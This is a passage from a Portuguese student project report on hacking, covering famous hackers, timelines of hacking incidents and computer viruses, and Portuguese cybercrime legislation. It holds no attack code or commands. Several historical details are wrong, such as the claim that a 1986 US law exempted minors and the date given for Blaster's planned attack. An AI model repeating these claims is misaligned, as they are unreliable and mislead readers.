boxes” para continuar a fazer chamadas grátis.

Johan Helsingius: foi o responsável por um dos servidores de e-mail anónimo mais

famosos do mundo, o servidor tinha o nome de Anon.penet.fi e foi o primeiro a usar

password para proteger o envio e recepção de e-mail.

Vladimir Levin: Conhecido como o cabecilha de um grupo de crackers russos que

assaltaram os computadores do Citibank e roubaram 10 milhões de dólares. Foi preso

pela Interpol (“International Criminal Police Organization”).

Page 180: relatorio de projecto-Documentação teórica das técnicas de hacking

180

Kevin Poulsen: O ataque mais apreciado foi o de ter controlado todas as linhas

telefónicas de Los Angeles ao alcance da estacão de rádio KIIS-FM para garantir que era

o 102º ouvinte a telefonar e a ganhar o Porche 944 S2 que a rádio estava a oferecer.

Kevin David Mitnick: Considerado o hacker mais famoso do mundo. Invadiu entre

outros, os sistemas da NSA (“National Security Agency”), Fujitsu, Motorola, Nokia, Sun

Microsystems, …. Foi preso em 1995 pelo FBI e depois de libertado foi proibido de

aceder á Internet durante três anos. Foi considerado pelo governo dos EUA "o Hacker

mais perigoso de todos os tempos".

Page 181: relatorio de projecto-Documentação teórica das técnicas de hacking

181

C. Acontecimentos mais marcantes na historia do

hacking

1971

John Draper efectuou chamadas gratuitas com o auxílio de um apito de borracha.

Em seguida a revista Esquire publica o segredo da “blue box”.

1980

Os phreaker’s passam para os computadores. Os grupos de Hackers começam a

ser formados. Surgem os grupos “Legion of Doom” nos Estados Unidos e “Chaos

Computer Club” na Alemanha.

1983

Neste ano adolescentes entram em 60 computadores, com a influência do filme

“War Games” que estreou nesse mesmo ano.

1984

Eric Corley publica a primeira edição da revista “2600: The Hacker

Quarterly”.

1986

Com o crescimento dos intrusos em computadores do Governo dos estados

Unidos, o congresso cria uma lei que assume que fraude ou abuso no uso do

computador é crime, excepto no caso de ser praticado por um menor de idade.

1988

Robert T. Morris Jr cria o primeiro worm que afectou cerca de seis mil

computadores.

1989

Page 182: relatorio de projecto-Documentação teórica das técnicas de hacking

182

É divulgado o primeiro caso de espionagem na Internet. Os elementos de um

grupo de hackers são presos na Alemanha por se infiltrarem em sistemas do governo

americano e por vender código fonte de sistemas operativos ao KGB.

1990

Os agentes dos serviços secretos dos Estados Unidos prendem vários Hackers

em 14 cidades diferentes.

1993

Durante uma promoção numa estação de rádio, Kevin Poulsen ganhou um

Porche por ter sido o 102º a ligar para uma estação de rádio. Ele pirateou o sistema

telefónico da estação de rádio para garantir que era o único a ligar.

1994

Aparece o browser “Netscape Navigator”. Este acontecimento faz com que os

Hackers tenham uma nova forma de propagar os ataques. Com as ferramentas

disponíveis e com a facilidade de utilização do novo browser, tornou-se acessível a

qualquer pessoa a Internet.

1995

Kevin David Mitnick e Vladimir Levin são capturados por agentes do FBI.

1997

As aplicações de sendmail passam a ser “bombardeadas” por spam assim como

os chats.

1998

Um grupo de Hackers chamado Cult of the Dead Cow desenvolveu uma

poderosa ferramenta de hacking, um trojan, chamado “back orifice”. Uma vez instalado

no sistema operativo Windows 95 ou Windows 98, era possível ter acesso a respectiva

máquina remotamente.

Hackers entraram no Pentágono e roubaram o software de um satélite militar. O

pentágono recebeu ameaças de que o software seria vendido a terroristas.

Page 183: relatorio de projecto-Documentação teórica das técnicas de hacking

183

1999

Surge o vírus Melissa.

2000

Ocorre o maior ataque de negação de serviço de sempre, contra os sistemas da

eBay, Yahoo, Amazon, etc.

Hackers conseguem entrar no sistema da Microsoft e tem acesso ao código fonte de

versões mais antigas do Windows e Office.

Surge em Maio deste ano o vírus “I LOVE YOU”.

2001

A Microsoft torna-se a maior vítima de ataques de negação de serviço (DoS).

Um ataque ao site da Microsoft fez com que os utilizadores ficassem impossibilitados

de aceder ao site durante dois dias.

2003

No dia 13 de Fevereiro de 2003, um homem da cidade de Ohio, Estados Unidos,

ataca o sistema da NASA, e consegue desligar o seu servidor de e-mail.

Um antigo empregado de um aeroporto entrou no sistema desde e destrói todos

os dados existentes.

2004

Nasce o site http://www.informationleak.net que disponibiliza vários tutorais e

tópicos de ajuda sobre hacking. Considerado o ano dourado para a comunidade hacking.

2006

Aparecem vários worms, entre eles:

“Kama Sutra”, “BlackWorm”, Mywife, Blackmal, “Nyxem version D”, Kapser, KillAV,

Grew ou CME-24. Estes worms podem apagar ficheiros, entre estes ficheiros do

software antivírus que se encontre instalado. Também podem apagar entradas do

“Windows Registry”.

Page 184: relatorio de projecto-Documentação teórica das técnicas de hacking

184

D. Historia dos vírus informáticos

1949

São desenvolvidas as primeiras teorias sobre auto replicação de programas.

1981

Surgiram os primeiros vírus informáticos chamados “Apple Viruses 1”, “Apple

Viruses 2” e “Apple Viruses 3”. Estes vírus infectavam sistemas operativos

Apple II e espalhavam-se através de jogos pirata infectados.

1983

Fred Cohen na exposição da sua tese define um vírus de computador como um

programa de computador que pode afectar outros programas de computador de

tal forma que consegue incluir neles uma cópia de si próprio.

1986

Dois programadores chamados Basit e Amjad substituíram o código executável

do sector de boot de uma disquete pelo código criado por eles e que infectava

todas as disquetes acedidas na drive. Todas as disquetes infectadas apresentavam

o nome “”@ Brain”.

1987

Surgiu o vírus Lehigh, que foi um dos primeiros vírus com a capacidade de

infectar ficheiros. Este vírus infecta o ficheiro command.com.

1988

Surgiu o vírus Jerusalem que era um vírus activado todas as sextas feiras treze e

que infectava os ficheiros .exe e .com e que eliminava todos os programas que

corressem nesse dia.

Surgiu ainda o vírus MAcMag e Score que afectava sistemas Macintosh.

1990

A empresa Symantec lança o antivírus “Norton Antivírus”. Este é um dos

primeiros antivírus a ser lançado por uma grande companhia.

1991

Surgiu o vírus Tequila que foi o primeiro vírus polimorfico a aparecer. Os vírus

polimorficos são mais difíceis de detectar pelos antivírus porque em cada

infecção alteram a o seu código e mantém apenas o algoritmo inicial intacto.

Page 185: relatorio de projecto-Documentação teórica das técnicas de hacking

185

1992

Surgiu a primeira ferramenta para criar vírus com o nome “Virus Creation

Laboratory”. Surgiu ainda a primeira ferramenta que permitia transformar os

vírus comuns em vírus polimorficos. Esta ferramenta tinha o nome de “The Dark

Avenger Mutation Engine (DAME)”.

Nesta altura existiam cerca de 1 300 vírus de computador.

1994

Começou a circular um e-mail a avisar os utilizadores de computadores que iria

surgir um vírus que ia eliminar todo o conteúdo do disco rígido apenas pela

abertura do e-mail com o assunto “Good Times”.

1995

Os vírus mais comuns desta altura são os vírus que se espalham a partir de

documentos da Microsoft Word.

1996

Surgem os vírus Baza, Laroux e Staog que são os primeiros a infectar ficheiros

de Windows 95, Excel e Linux.

1998

Surgiu o primeiro vírus com capacidade para infectar ficheiros Java. Este vírus

alterava o código dos ficheiros CLASS de forma a ter o seu código no meio do

código destes ficheiros e fazia com que a execução do código do ficheiro tivesse

início na localização código do vírus.

Surgiu o vírus Chernobyl que infectava sistemas operativos Windows 95,

Windows 98 e arquivos executáveis do Windows Millenium. Este vírus ficava

residente em memória e conseguia escrever por cima de dados que se

encontravam no disco fazendo com que o sistema deixe de funcionar. Este Vírus

deixou de representar qualquer perigo com a passagem dos utilizadores para

Windows XP e Windows 2 000. Estima-se que os danos causados por este vírus

estejam entre 20 milhões de dólares e os 80 milhões além dos dados destruídos.

1999

Surgiu o vírus Melissa e W97M/Melissa que executava uma macro num

documento que chegava em anexo num e-mail e reenviava o ficheiro

automaticamente para 50 contactos pertencentes á lista de endereços do Outlook

do utilizador infectado. Estes vírus infectavam ainda outros documentos

Page 186: relatorio de projecto-Documentação teórica das técnicas de hacking

186

existentes no disco e continuava a espalhar-se através desses documentos se

esses fossem enviados por e-mail. Estima-se que tenha infectado cerca de um

milhão de computadores. Este vírus obrigou empresas como a Intel e a

Microsoft, entre outras, a fechar os seus sistemas de e-mail para conter a

propagação. Causou danos entre 300 milhões e 600 milhões de dólares.

Surgiu o worm “Bubble Boy” que foi o primeiro worm que conseguia infectar o

utilizador assim que este abrisse um e-mail, ao contrário de todos os anteriores

que para infectar a vítima era necessário que esta abrisse algum anexo do e-mail.

Surgiu o vírus Tristate que foi o primeiro a conseguir infectar ficheiros de Word,

Excel e PowerPoint simultaneamente.

2000

Surgiu o vírus ILOVEYOU que se espalhava assim como o Melissa através dos

contactos do Outlook. O vírus era um script de Visual Basic com uma

mensagem amorosa e era enviado como anexo com o nome Love-Letter-For-

You.TXT.VBS e tinha a capacidade de eliminar ficheiros de MP3, MP2 e JPG.

Além de eliminar os ficheiros este vírus ainda tinha a capacidade de enviar login

dos utilizadores infectados para o autor do vírus.

Estima-se que tenha causado prejuízo entre 10 biliões e 15 biliões de dólares.

Surgiu uma variante do vírus Melissa denominado W97M.Resume.A.

Surgiu o vírus Stages que se disfarçava como um anexo de e-mail com a

extensão TXT. Até esta altura pensava-se que os arquivos TXT eram sempre

seguros.

2001

Surgiu depois do ataque de 11 de Setembro o vírus Nimda que infectou centenas

de milhar de computadores em todo o mundo. Este vírus era muito sofisticado e

continha cinco maneiras diferentes de se replicar e de infectar sistemas.

Surgiu o vírus “Anna Kournikova” que preocupou os analistas porque este vírus

apesar de ser praticamente inofensivo enviava-se automaticamente para todos os

contactos do Outlook da vítima, porque tinha sido criado por uma ferramenta de

criação de vírus muito fácil de utilizar.

Page 187: relatorio de projecto-Documentação teórica das técnicas de hacking

187

Nesta altura surgiu ainda o vírus BadTrans que tinha sido desenhado para roubar

passwords e informação de cartões de credito e o vírus Sircam que se espalhava

através de documentos pessoais.

Surgiu ainda o vírus CodRed que atacava servidores que utilizavam o Microsoft

Internet Server (IIS). Quando um servidor era infectado as paginas alojadas

passavam a mostrar a mensagem “HELLO to http://www.worm.com! Hacked By

Chinese!”. Os sistemas infectados passavam a ser usados para efectuar ataques a

determinados endereços IP, incluindo o endereço da Casa Branca. Estima-se que

tenha causado prejuízos de cerca de 2,6 biliões de dólares e tenha infectado

cerca de 400 000 servidores.

2002

Surgiu o Virus LFM-926 que infectava ficheiros Shockwave Flash (.SWF) e que

apresentava a mensagem “Loading Flash Movie”, surgiram diversos vírus com o

nome de pessoas famosas como “Shakira”, “Britney Spears” e “Jennifer Lopez”,

apareceu o worm Klez que se espalhava por e-mail e que tentava desactivar os

programas de antivírus instalados na vitima, substituía a informação dos

ficheiros da vitima por zeros e criava uma copia oculta dos ficheiros originais.

Surgiu ainda o worm Bugbear que tinha como característica possuir vários

métodos para infectar sistemas.

2003

Em Janeiro deste ano surgiu o worm SQL Slammer /ou Sapphire) que passou a

ser o worm a infectar sistemas mais rapidamente conseguindo infectar em

apenas 10 minutos cerca de 75 000 computadores, conseguiu infectar cerca de

500 000 servidores em todo o mundo mas não provocou muito prejuízo por ter

aparecido a um sábado.

Surgiu o worm Blaster também conhecido com o Loysan ou MSblast, foi

detectado a 11 de Agosto e espalhou-se muito rapidamente. Este worm

explorava uma falha presente nos sistemas Windows 2000 e Windows XP e

quando se activava apresentava ao utilizador uma mensagem a informar que o

sistema se ia desligar. Ele continha ainda instruções no código para no dia 15 de

Abril efectuar um ataque de DDoS contra o site windowsupdate.com. Foram

Page 188: relatorio de projecto-Documentação teórica das técnicas de hacking

188

infectados varias centenas de milhar de computadores e estima-se que tenha

causado prejuízos entre os 2 e os 10 milhões de dólares.

Depois do worm Blaster surgiu o worm Sobig. Este worm conseguiu bater o

recorde de gerar mais de um milhão de cópias de si em apenas um dia. O vírus

foi detectado no dia 19 de Agosto e desactivou-se no dia 10 de Setembro

deixando de ser uma ameaça a partir dessa data. A Microsoft chegou a oferecer

uma recompensa de 250 000 dólares para quem identificasse o criador da versão

Sobig.F que era a versão mais destrutiva criada. O criador nunca foi encontrado

e estima-se que este worm tenha criado danos entre os 5 e os 10 biliões de

dólares e que tenha infectado cerca de um milhão de computadores.

2004

Em Janeiro deste ano surgiu um worm chamado MyDoom ou Novarg que se

conseguia propagar por e-mail e por programas de partilha de ficheiros. Este

worm instalava um programa que permitia ao atacante aceder ao disco duro do

computador infectado. O objectivo da criação deste worm era de usar os

computadores infectados para um ataque de negação de serviço contra a empresa

SCO Group, esta companhia tinha processado vários grupos por usarem uma

versão open source da linguagem Unix desenvolvida por ela. Esta companhia

ofereceu uma recompensa de 250 000 dólares para quem desse informação sobre

quem tinha criado o worm para que estes fossem presos e condenados.

Este worm conseguiu fazer com que a performance global da Internet diminuísse

10% e que o carregamento dos sites demorasse mais 50% do tempo que era

normal.

A 18 de Janeiro surgiu ainda o worm Bagle que infectava sistemas do método

tradicional, ou seja através de um anexo recebido numa mensagem de e-mail. O

programa recebido em anexo percorria o disco à procura de endereços de e-mail

que pudesse usar para se propagar. Este worm á semelhança do anterior abre

uma porta no sistema que permite que o computador seja controlado

remotamente.

Em Maio surgiu o worm Sasser que não causava danos nos sistemas infectados

mas fazia com que estes ficassem lentos e que reiniciassem sem explicação. Este

worm ao contrário dos anteriores não se propaga através de nenhum anexo de e-

mail. Este worm infectava um sistema e em seguida procurava por sistemas que

Page 189: relatorio de projecto-Documentação teórica das técnicas de hacking

189

se encontrassem desactualizados e infectava-os. Como o criador do vírus era um

adolescente alemão de 17 anos ele apenas foi condenado por sabotagem de

computadores e teve pena suspensa.

Surgiu o worm Netsky que se espalha através de e-mail e de programas de

partilha de ficheiros. Este worm para infectar um sistema apenas necessitava que

o e-mail em que ia fosse pré visualizado, ou seja, não era necessário que o anexo

fosse executado.

Neste ano surgiram ainda os primeiros vírus com capacidade para afectar o

sistema operativo de telemóveis, exemplos disso são os vírus Cabir e Skulls.

2005

Surgiu o vírus Bropia que tinha como característica principal a capacidade de se

transmitir pelo MSN Messenger. Este vírus replicava-se para todos os

utilizadores que se encontrassem on-line na lista de contactos de Messenger do

computador infectado e distribuía para estes uma mensagem com uma foto de

um frango de bikini.

Surgiu o vírus Sober que utilizava técnicas de engenharia social para enganar o

utilizador e levar este a executar o anexo da mensagem e instalar o vírus que

depois consumia os recursos de rede por causa de enviar informação para a rede

dos ficheiros que analisava. Este vírus propagava-se enviando uma cópia de si

para os endereços encontrados no computador.

Surgiu ainda o worm Mytob que enviava e-mail em massa com recurso ao seu

próprio motor SMTP para os endereços adquiridos no computador infectado e

falsifica o endereço de origem. Este worm desliga o antivírus e permite que seja

possível aceder ao computador do exterior.

2006

Surgiu o primeiro worm a infectar sistemas MACOSX conhecido como

OSX/Leap-A, este vírus chega através do programa de trocas de mensagens e

precisa que o utilizador execute o ficheiro para infectar. Este worm depois de

infectar um sistema replica-se enviando uma mensagem para a lista de amigos

do Ichat (Instant Messenger software) da vítima.

A 20 de Janeiro foi descoberto o worm Nyxem. Este worm replica-se como a

maioria através de e-mail. Tem como objectivo desligar software de segurança e

Page 190: relatorio de projecto-Documentação teórica das técnicas de hacking

190

de partilha de ficheiros e destruir ficheiros como os que tenham a extensão de

ficheiros criados pela Suite da Microsoft Office.

Este worm activa-se no dia 3 de cada mês.

Page 191: relatorio de projecto-Documentação teórica das técnicas de hacking

191

E. Legislação sobre informática

Desde alguns anos que as distâncias medem-se em segundos a partir de um imenso

espaço virtual graças ao aparecimento dos computadores, das telecomunicações, e da

correspondente Sociedade de Informação.

Com a facilidade com que as mensagens são enviadas ao destinatário e com a facilidade

de essas mesmas mensagens serem interceptadas na rede, apareceram também novas

formas de crime, neste caso crime on-line, contra a honra, consideração ou ao bom-

nome.

Sendo este um terreno fácil para abusadores, as regras criadas para combater os crimes

informáticos ainda são difusas e pouco interiorizadas.

Através da rápida circulação de informação na Internet e pelo seu carácter global, a

difamação via Internet é um facto cada vez mais real, podendo causar danos maiores e

dificilmente reparáveis do que nos meios ditos tradicionais. Um dos maiores interesses

que se pretende proteger contra o crime informático é a propriedade intelectual (os

direitos de autor).

Os textos jurídicos que transcrevem a lei da criminalidade informática debruçam-se

sobre o assunto á escala mundial. Em Portugal também existe alguma legislação relativa

a matéria.

Existem várias leis que tem algumas regras aplicáveis aos crimes informáticas ou

praticados via Internet.

O código penal tem algumas dessas regras. O código dos direitos de autor e direitos

conexos tem sido aplicado em tudo excepto em situações que abordem programas de

computador pois existe legislação própria para estes, que está prevista no Decreto-lei nº

252/94.

O Decreto-Lei Nº 62/2003 de 3 de Abril, diz respeito ao regime jurídico sobre

assinaturas digitais. Neste decreto é realçado o dever das entidades certificadoras que

emitem certificados qualificados, assim como a validade, eficácia e valor probatório dos

documentos electrónicos, assinatura electrónica e actividade de certificação de entidades

certificadoras portuguesas (artigo 1º). São referidos também três modalidades de

assinaturas electrónicas (assinatura electrónica, assinatura electrónica avançada e

Page 192: relatorio de projecto-Documentação teórica das técnicas de hacking

192

assinatura electrónica qualificada) e a descrição dos seus diferentes graus de fiabilidade

e segurança.

A lei 109/91 de 17 de Agosto, conhecida como lei da criminalidade informática, diz

respeitos a danos de dados, acesso ilegítimo a sistemas ou redes, e actos de reprodução

não autorizada em geral.

Em anexo encontram-se os artigos do código penal que se aplicam á criminalidade

informática e a lei da criminalidade informática.

Código penal:

CÓDIGO PENAL

PARTE ESPECIAL

TÍTULO I

CAPÍTULO IV

Dos crimes contra a liberdade pessoal

Artigo 153º

Ameaça

1 - Quem ameaçar outra pessoa com a prática de crime contra a vida, a integridade

física, a liberdade pessoal, a liberdade e autodeterminação sexual ou bens patrimoniais

de considerável valor, de forma adequada a provocar-lhe medo ou inquietação ou a

prejudicar a sua liberdade de determinação, é punido com pena de prisão até 1 ano ou

com pena de multa até 120 dias.

2 - Se a ameaça for com a prática de crime punível com pena de prisão superior a 3

anos, o agente é punido com pena de prisão até 2 anos ou com pena de multa até 240

dias.

3 - O procedimento criminal depende de queixa.

Artigo 154º

Coacção

Page 193: relatorio de projecto-Documentação teórica das técnicas de hacking

193

1 - Quem, por meio de violência ou de ameaça com mal importante, constranger outra

pessoa a uma acção ou omissão, ou a suportar uma actividade, é punido com pena de

prisão até 3 anos ou com pena de multa.

2 - A tentativa é punível.

3 - O facto não é punível:

a) Se a utilização do meio para atingir o fim visado não for censurável; ou

b) Se visar evitar suicídio ou a prática de facto ilícito típico.

4 - Se o facto tiver lugar entre cônjuges, ascendentes e descendentes ou adoptantes e

adoptados, ou entre pessoas que vivam em situação análoga à dos cônjuges, o

procedimento criminal depende de queixa.

Artigo 155º

Coacção grave

1 - Quando a coacção for realizada:

a) Por meio de ameaça com a prática de crime punível com pena de prisão superior a 3

anos; ou

b) Contra pessoa particularmente indefesa, em razão de idade, deficiência, doença ou

gravidez;

c) Contra uma das pessoas referidas na alínea j) do nº 2 do artigo 132º, no exercício das

suas funções ou por causa delas;

d) Por funcionário com grave abuso de autoridade; o agente é punido com pena de

prisão de 1 a 5 anos.

2 - A mesma pena é aplicável se, por força da coacção, a vítima ou a pessoa sobre a qual

o mal deve recair se suicidar ou tentar suicidar-se.

(Redacção da Lei nº 65/98, de 2 de Setembro).

CAPÍTULO VI

Dos crimes contra a honra

ARTIGO 180.º

(Difamação)

Page 194: relatorio de projecto-Documentação teórica das técnicas de hacking

194

1- Quem, dirigindo-se a terceiro, imputar a outra pessoa, mesmo sob a forma de

suspeita, um facto, ou formular sobre ela um juízo, ofensivos da sua honra ou

consideração, ou reproduzir uma tal imputação ou juízo, é punido com pena de prisão

até 6 meses ou com pena de multa até 240 dias.

2- A conduta não é punível quando:

a) A imputação for feita para realizar interesses legítimos; e

b) O agente provar a verdade da mesma imputação ou tiver tido fundamento sério para,

em boa fé, a reputar verdadeira.

3- Sem prejuízo do disposto nas alíneas b), c) e d) do n.º 2 do artigo 31.º deste Código, o

disposto no número anterior não se aplica tratando-se da imputação de facto relativo à

intimidade da vida privada e familiar.

4- A boa fé referida na alínea b) do n.º 2 exclui-se quando o agente não tiver cumprido o

dever de informação, que as circunstâncias do caso impunham, sobre a verdade da

imputação.

5- Quando a imputação for de facto que constitua crime, é também admissível a prova

da verdade da imputação, mas limitada à resultante de condenação por sentença

transitada em julgado.

….

Lei da Criminalidade Informática:

Lei nº109/91 (Diário da República de 17 de Agosto de 1991)

CAPÍTULO I

Princípios Gerais

Artigo 1º

Legislação penal

Aos crimes previstos na presente lei são subsidiariamente aplicáveis as disposições do

código penal.

Artigo 2º

Page 195: relatorio de projecto-Documentação teórica das técnicas de hacking

195

Definições

Para efeitos da presente lei, considera-se:

a) Rede informática - um conjunto de dois ou mais computadores interconectados.

b) Sistema informático - um conjunto constituído por um ou mais computadores,

equipamento periférico e suporte lógico que assegura o processamento de dados.

c) Programa informático - um conjunto de instruções capazes, quando inseridas num

suporte explorável em máquina, de permitir à máquina que tem por funções o

tratamento de informações indicar, executar ou produzir determinada função, tarefa ou

resultado.

d) Topografia - uma série de imagens entre si ligadas, independentemente do modo

como são fixadas ou codificadas, que representam a configuração tridimensional das

camadas que compõem um produto semicondutor e na qual cada imagem reproduz o

desenho ou parte dele de uma superfície do produto semicondutor, independentemente

da fase do respectivo fabrico.

e) Produto semicondutor - a forma final ou intermédia de qualquer produto, composto

por um substrato que inclua uma camada de material semicondutor e constituído por

uma ou várias camadas de material condutor, isolante ou semicondutor, segundo uma

disposição conforme a uma configuração tridimensional e destinada a cumprir,

exclusivamente ou não, uma função electrónica.

f) Intercepção - o acto destinado a captar informações contidas num sistema

automatizado de dados, através de dispositivos electromagnéticos, acústicos, mecânicos

ou outros.

g) Valor elevado - aquele que exceder 50 unidades de conta processual penal avaliadas

no momento da prática do facto.

h) Valor consideravelmente elevado - aquele que exceder 200 unidades de conta

processual penal avaliadas no momento da prática do facto.

Artigo 3º

Responsabilidade penal das

pessoas colectivas e equiparadas

1 - As pessoas colectivas, sociedades e meras associações de facto são penalmente

responsáveis pelos crimes previstos na lei, quando cometidos em seu nome e no

interesse colectivo pelos seus órgãos ou representantes.

Page 196: relatorio de projecto-Documentação teórica das técnicas de hacking

196

2 - A responsabilidade é excluída quando o agente tiver actuado contra ordens ou

instruções expressas de quem de direito.

3 - A responsabilidade das entidades referidas no nº1 não exclui a responsabilidade

individual dos respectivos agentes.

4 - As entidades referidas no nº1 respondem solidariamente, nos termos da lei civil, pelo

pagamento das multas, indemnizações e outras prestações em que forem condenados os

agentes das infracções previstas na presente lei.

CAPÍTULO II

Dos crimes ligados à informática

Artigo 4º

Falsidade informática

1 - Quem, com intenção de provocar engano nas relações jurídicas, introduzir,

modificar, apagar ou suprimir dados ou programas informáticos ou, por qualquer outra

forma, interferir num tratamento informático de dados, quando esses dados ou

programas sejam susceptíveis de servirem como meio de prova, de tal modo que a sua

visualização produza os mesmos efeitos de um documento falsificado, ou, bem assim,

os utilize para os fins descritos, será punido com pena de prisão até cinco anos ou multa

de 120 a 600 dias.

2 - Nas mesmas penas incorre quem use documento produzido a partir de dados ou

programas informatizados que foram objecto dos actos referidos no número anterior,

actuando com intenção de causar prejuízo a outrem ou de obter um benefício ilegítimo

para si ou para terceiros.

3 - Se os factos referidos nos números anteriores forem praticados por funcionários no

exercício das suas funções, a pena é de prisão de um a cinco anos.

Artigo 5º

Dano relativo a dados ou

programas educativos

1 - Quem, sem para tanto estar autorizado, e actuando com intenção de causar prejuízo a

outrem ou de obter um benefício ilegítimo para si ou para terceiros, apagar, destruir, no

todo ou em parte, danificar, suprimir ou tornar não utilizáveis dados ou programas

informáticos alheios ou, por qualquer forma, lhes afectar a capacidade de uso, será

punido com pena de prisão até três anos ou pena de multa.

Page 197: relatorio de projecto-Documentação teórica das técnicas de hacking

197

2 - A tentativa é punível.

3 - Se o dano causador for de valor elevado, a pena será a de prisão até cinco anos ou de

multa até 600 dias.

4 - Se o dano for de valor consideravelmente elevado, a pena será a de prisão de um a

dez anos.

5 - Nos casos previstos nos 1, 2 e 3 o procedimento penal depende da queixa.

Artigo 6º

Sabotagem informática

1 - Quem introduzir, alterar, apagar ou suprimir dados e programas informáticos ou, por

qualquer outra forma, interferir em sistema informático, actuando com intenção de

entravar ou perturbar o funcionamento de um sistema informático ou de comunicação

de dados à distância, será punido com pena de prisão até cinco anos ou com pena de

multa até 600 dias.

2 - A pena será a de prisão de um a cinco anos se o dano emergente da perturbação for

de valor elevado.

Artigo 7º

Acesso ilegítimo

1 - Quem, não estando a tanto autorizado e com intenção de alcançar, para si ou para

outrem, um benefício ou vantagem ilegítimos, de qualquer modo aceder a um sistema

ou rede informáticos será punido com pena de prisão até um ano ou com pena de multa

até 120 dias.

2 - A pena será a de prisão até três anos ou multa se o acesso for conseguido através de

violação de regras de segurança.

3 - A pena será a de prisão de um a cinco anos quando:

a) Através do acesso o agente tiver tomado conhecimento de segredo comercial ou

industrial ou de dados confidenciais, protegidos por lei;

b) O benefício ou vantagem patrimonial obtidos forem de valor consideravelmente

elevado.

4 - A tentativa é punível.

5 - Nos casos previstos nos 1, 2 e 4 o procedimento penal depende da queixa.

Artigo 8º

Page 198: relatorio de projecto-Documentação teórica das técnicas de hacking

198

Intercepção ilegítima

1 - Quem, sem para tanto estar autorizado, e através de meios técnicos, interceptar

comunicações que se processam no interior de um sistema ou rede informáticos, a eles

destinadas ou deles provenientes, será punido com pena de prisão até três anos ou com

pena de multa.

2 - A tentativa é punível.

Artigo 9º

Reprodução ilegítima de

programa protegido

1 - Quem, não estando para tanto autorizado, reproduzir, divulgar ou comunicar ao

público um programa informático protegido por lei será punido com pena de prisão até

três anos ou com pena de multa.

2 - Na mesma pena incorre quem ilegitimamente reproduzir topografia de um produto

semicondutor ou a explorar comercialmente ou importar, para estes fins, uma topografia

ou um produto semicondutor fabricado a partir dessa topografia.

3 - A tentativa é punível.

Artigo 10º

Penas aplicáveis às pessoas

colectivas e equiparadas

1 - Pelos crimes previstos na presente lei são aplicáveis às pessoas colectivas e

equiparadas as seguintes penas principais:

a) Admoestação;

b) Multa;

c) Dissolução.

2 - Aplica-se a pena de admoestação sempre que, nos termos gerais, tal pena possa ser

aplicada à pessoa singular que, em representação e no interesse da pessoa colectiva ou

equiparada, tiver praticado o facto.

3 - Quando aplicar a pena de admoestação, o tribunal poderá aplicar cumulativamente a

pena acessória de caução de boa conduta.

4 - Cada dia de multa corresponde a uma quantia entre 10 000$0 e 200 000$00, que o

tribunal fixará em função da situação económica e financeira da pessoa colectiva ou

equiparada e dos seus encargos.

Page 199: relatorio de projecto-Documentação teórica das técnicas de hacking

199

5 - Se a multa a uma entidade sem personalidade jurídica responderá por ela o

património comum e, na sua falta ou insuficiência, o património de cada um dos seus

associados.

6 - A pena de dissolução só será aplicada quando os titulares dos orgãos ou

representantes da pessoa colectiva ou sociedade tenham agido com a intenção, exclusiva

ou predominantemente, de, por meio dela, praticar os factos que integram os crimes

previstos na presente lei ou quando a prática reiterada desses factos mostre que a pessoa

colectiva ou sociedade está a ser utilizada para esse efeito, quer pelos seus membros,

quer por quem exerça a respectiva administração.

CAPÍTULO III

Penas acessórias

Artigo 11º

Penas acessórias

Relativamente aos crimes previstos no presente diploma, podem ser aplicadas as

seguintes penas acessórias:

a) Perda de bens;

b) Caução de boa conduta;

c) Interdição temporária do exercício de certas actividades ou profissões;

d) Encerramento temporário do estabelecimento;

e) Encerramento definitivo do estabelecimento;

f) Publicidade de decisão condenatória.

Artigo 12º

Perda de bens

1 - O tribunal pode decretar a perda dos materiais, equipamentos ou dispositivos

pertencentes à pessoa condenada que tiverem servido para a prática dos crimes previstos

no presente diploma.

2 - A perda de bens abrange o lucro ilícito obtido com a prática da infracção.

3 - Se o tribunal apurar que o agente adquiriu determinados bens, empregando na sua

aquisição dinheiro ou valores obtidos com a prática do crime, serão os mesmos também

abrangidos pela decisão que decretar a perda.

Artigo 13º

Page 200: relatorio de projecto-Documentação teórica das técnicas de hacking

200

Caução de boa conduta

1 - A caução de boa conduta implica a obrigação de o agente depositar uma quantia em

dinheiro, a fixar entre 10 000$00 e 1 000 000$00, à ordem do tribunal, pelo prazo

fixado na decisão condenatória, por um período entre seis meses e dois anos.

2 - A caução de boa conduta deve, em regra, ser aplicada sempre que o tribunal condene

em pena cuja execução declare suspensa.

3 - A caução será declarada perdida a favor do Estado se o agente praticar, por meio de

informática, nova infracção no período fixado na sentença, pela qual venha a ser

condenado, sendo-lhe restituída no caso contrário.

Artigo 14º

Interdição temporária do exercício de

certas actividades ou profissões

1 - A interdição temporária do exercício de certas actividades ou profissões pode ser

decretada quando a infracção tiver sido cometida com flagrante e manifesto abuso da

profissão ou no exercício de actividade que dependa de um título público ou de uma

autorização ou homologação da autoridade pública.

2 - A duração da interdição tem um mínimo de dois meses e um máximo de dois anos.

3 - Incorre na pena de crime de desobediência qualificada quem, por si ou por interposta

pessoa, exercer a profissão ou a actividade durante o período da interdição.

Artigo 15º

Encerramento temporário

do estabelecimento

1 - O encerramento temporário do estabelecimento pode ser decretado por um período

mínimo de um mês e máximo de uma ano, quando o agente tiver sido condenado em

pena de prisão superior a seis meses ou em pena de multa superior a cem dias.

2 - Não obstam à aplicação desta pena a transmissão do estabelecimento ou a cedência

de direitos de qualquer natureza, relacionados com o exercício da profissão ou

actividade, efectuados após a instauração do processo ou depois de cometida a

infracção, salvo se, neste último caso, o adquirente se encontrar de boa-fé.

3 - O encerramento do estabelecimento nos termos do nº1 não constitui justa causa para

o despedimento de trabalhadores nem fundamento para a suspensão ou redução do

pagamento das respectivas remunerações.

Page 201: relatorio de projecto-Documentação teórica das técnicas de hacking

201

Artigo 16º

Encerramento definitivo

do estabelecimento

1 - O encerramento definitivo do estabelecimento pode ser decretado quando o agente:

a) Tiver sido anteriormente condenado por infracção prevista neste diploma em pena de

prisão ou multa, se as circunstâncias mostrarem que a condenação ou condenações

anteriores não constituíram suficiente prevenção contra o crime;

b) Tiver anteriormente sido condenado em pena de encerramento temporário;

c) For condenado em pena de prisão por infracção prevista neste diploma, que tenha

determinado dano de valor consideravelmente elevado ou para um número avultado de

pessoas.

2 - Aplicam-se ao encerramento definitivo as disposições dos nos 2 e 3 do artigo

anterior.

Artigo 17º

Publicidade da decisão

1 - Quando o tribunal aplicar a pena de publicidade, será esta efectivada, a expensas do

condenado, em publicação periódica editada na área da comarca da prática da infracção

ou, na sua falta, em publicação da área da comarca mais próxima, bem como através da

